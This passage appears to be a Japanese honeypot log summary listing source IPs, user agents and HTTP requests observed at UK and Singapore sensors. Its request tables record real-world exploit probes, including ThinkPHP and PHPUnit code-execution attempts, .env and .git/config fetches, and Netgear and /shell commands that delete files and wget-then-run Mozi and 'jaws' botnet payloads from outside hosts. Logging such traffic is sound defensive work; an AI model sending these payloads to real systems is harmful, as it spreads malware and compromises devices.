HTTP/1.1 |
| 2 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | HEAD | /robots.txt |
HTTP/1.0 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
| 1 | POST | /HNAP1/ |
HTTP/1.0 |
| 1 | POST | /mgmt/tm/util/bash |
HTTP/1.1\n |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 3 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 5.188.210.227 | Russia |
| 1 | 20.239.173.152 | United States |
| 10 | 45.9.20.101 | Russia |
| 1 | 45.134.144.140 | Hong Kong |
| 1 | 45.143.203.62 | Russia |
| 2 | 45.227.254.26 | Belize |
| 101 | 95.91.254.119 | Germany |
| 2 | 109.237.103.38 | Russia |
| 2 | 109.237.103.123 | Russia |
| 1 | 128.14.134.170 | United States |
| 1 | 139.162.145.250 | Netherlands |
| 12 | 159.65.200.34 | United States |
| 1 | 162.142.125.7 | United States |
| 1 | 163.172.88.201 | United Kingdom |
| 1 | 172.104.138.223 | United States |
| 1 | 178.72.71.149 | Russia |
| 1 | 178.159.11.18 | United Kingdom |
| 1 | 192.241.212.154 | United States |
| 1 | 198.235.24.139 | United States |
| 1 | 209.141.34.183 | United States |
| 3 | 212.102.36.233 | United Kingdom |
| 2 | 212.102.46.70 | United Kingdom |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 13 | - |
| 10 | Go-http-client/1.1 |
| 1 | Googlebot/2.1 (+http[:]//www[.]google[.]com/bot.html) |
| 2 | Mozila/5.0 |
| 2 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
| 101 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 1 | python-requests/2.27.1 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.62.1.el7.x86_64 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | HELP |
||
| 1 | MGLNDD_132.145.66.34_80\n |
||
| 3 | \x03 |
||
| 1 | \x16\x03\x01\x01C\x01 |
||
| 1 | \x16\x03\x01\x01D\x01 |
||
| 3 | \x16\x03\x01 |
||
| 1 | GET | /.DS_Store |
HTTP/1.1 |
| 5 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.git/config |
HTTP/1.1 |
| 2 | GET | ///.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /?rest_route=/wp/v2/users/ |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /admin/ |
HTTP/1.1 |
| 1 | GET | /api.php?key=1&apikey=1 |
HTTP/1.1 |
| 1 | GET | /config.js |
HTTP/1.1 |
| 1 | GET | /config.json |
HTTP/1.1 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 1 | GET | /fuN3 |
HTTP/1.0 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 1 | GET | /info.php |
HTTP/1.1 |
| 1 | GET | /login.action |
HTTP/1.1 |
| 101 | GET | /phpmyadmin/ |
HTTP/1.1 |
| 1 | GET | /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties |
HTTP/1.1 |
| 1 | GET | /server-status |
HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 1 | GET | /telescope/requests |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | GET | /wp-content/ |
HTTP/1.1 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php |
HTTP/1.1 |
| 1 | HEAD | /robots.txt |
HTTP/1.0 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /HNAP1/ |
HTTP/1.0 |
| 1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | PRI | * |
HTTP/2.0 |
Location:SG
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 5.188.210.227 | Russia |
| 1 | 20.239.173.152 | United States |
| 2 | 40.69.131.82 | United States |
| 1 | 40.69.165.68 | United States |
| 10 | 45.9.20.101 | Russia |
| 1 | 45.134.144.140 | Hong Kong |
| 1 | 45.143.203.62 | Russia |
| 10 | 51.79.29.48 | Canada |
| 4 | 80.82.77.139 | United Kingdom |
| 1 | 107.174.20.133 | United States |
| 2 | 109.237.103.9 | Russia |
| 1 | 115.225.210.51 | China |
| 1 | 117.222.160.10 | India |
| 1 | 121.140.248.146 | South Korea |
| 1 | 124.129.68.34 | China |
| 2 | 137.184.122.128 | United States |
| 1 | 139.162.145.250 | Netherlands |
| 1 | 156.221.200.195 | Egypt |
| 1 | 162.142.125.210 | United States |
| 1 | 162.142.125.213 | United States |
| 1 | 162.221.192.26 | United States |
| 1 | 163.172.88.201 | United Kingdom |
| 1 | 178.159.11.18 | United Kingdom |
| 2 | 183.136.225.9 | China |
| 8 | 185.254.196.223 | Ukraine |
| 1 | 192.3.118.129 | United States |
| 1 | 192.241.212.97 | United States |
| 2 | 194.28.112.140 | Moldova |
| 2 | 194.165.16.73 | Panama |
| 1 | 198.235.24.26 | United States |
| 1 | 205.210.31.28 | United States |
| 1 | 206.189.224.36 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 17 | - |
| 1 | Googlebot/2.1 (+http[:]//www[.]google[.]com/bot.html) |
| 1 | Hello, World |
| 2 | Hello, world |
| 1 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0) |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
| 25 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.62.1.el7.x86_64 |
| 1 | python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_13.67.44.234_80 |
||
| 5 | \x03 |
||
| 1 | \x16\x03\x01\x01D\x01 |
||
| 2 | \x16\x03\x01 |
||
| 25 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 2 | GET | ///.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /admin/ |
HTTP/1.1 |
| 1 | GET | /api.php?key=1&apikey=1 |
HTTP/1.1 |
| 1 | GET | /bag2 |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 2 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 2 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//115[.]225[.]210[.]51:44952/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+jx[.]qingdaosheng[.]com/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+v1[.]kannimanelaji[.]com/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | GET | http[:]//5[.]188[.]210[.]227/echo.php |
HTTP/1.1 |
| 1 | GET | http[:]//dyn[.]epicgifs[.]net/test6956.php |
HTTP/1.1 |
| 1 | HEAD | /robots.txt |
HTTP/1.0 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
| 1 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 2 | PRI | * |
HTTP/2.0 |
